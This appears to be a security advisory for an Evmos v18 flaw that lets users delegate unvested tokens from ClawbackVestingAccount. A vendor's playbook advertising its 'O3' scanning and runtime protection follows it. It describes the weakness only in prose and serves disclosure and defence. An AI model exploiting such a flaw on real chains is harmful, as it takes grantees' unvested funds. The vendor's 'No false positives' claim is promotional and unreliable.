Description
Impact
What kind of vulnerability is it? Who is impacted?
At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via ClawbackVestingAccount.
Patches
Has the problem been patched? What versions should users upgrade to?
The PR linked to this advisory includes part of the fix. The remainder is in a second advisory on the Cosmos SDK fork.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
There is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/evmos/evmos/v18. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/evmos/evmos/v18 has shipped for GHSA-7hrh-v6wp-53vw yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7hrh-v6wp-53vw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7hrh-v6wp-53vw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7hrh-v6wp-53vw in your dependencies?
O3 detects GHSA-7hrh-v6wp-53vw across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
